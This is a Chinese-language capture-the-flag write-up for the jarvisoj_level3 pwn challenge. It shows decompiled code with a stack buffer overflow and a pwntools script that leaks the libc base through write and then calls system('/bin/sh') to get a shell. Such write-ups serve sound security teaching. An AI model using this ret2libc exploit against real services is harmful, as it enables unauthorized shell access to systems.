jarvisoj_level3
题目链接:jarvisoj_level3。
下载附件后,使用 IDA 反编译,定位到主要函数,如下。
int __cdecl main(int argc, const char **argv, const char **envp)
{
vulnerable_function();
write(1, "Hello, World!\n", 0xEu);
return 0;
}
vulnerable_function 函数如下。
ssize_t vulnerable_function()
{
char buf[136]; // [esp+0h] [ebp-88h] BYREF
write(1, "Input:\n", 7u);
return read(0, buf, 0x100u);
}
解题思路:
- 栈溢出,调用 write 函数泄露 LIBC 基址。
- 调用 system 函数获取 Shell。
解题脚本如下。
from pwn import *
from pwn import p32, p64, u32, u64
from settings import *
from modules import *
def pwn():
# .text:08048350 ; void __usercall __noreturn start(int@<eax>, void (*)(void)@<edx>)
sa('Input:\n', 0x8C * b'a' + p32(ELF_FILE.plt['write']) + p32(0x08048350) + p32(0x1) + p32(ELF_FILE.got['read']) + p32(0x4))
LIBC_ADDR = uu32(ru('\xF7')[-4:]) - LIBC_FILE.symbols['read']
leak('LIBC_ADDR', LIBC_ADDR)
sa('Input:\n', 0x8C * b'a' + p32(LIBC_ADDR + LIBC_FILE.symbols['system']) + p32(0x0) + p32(LIBC_ADDR + next(LIBC_FILE.search(b"/bin/sh\x00"))))
irt()
pwn()

浙公网安备 33010602011771号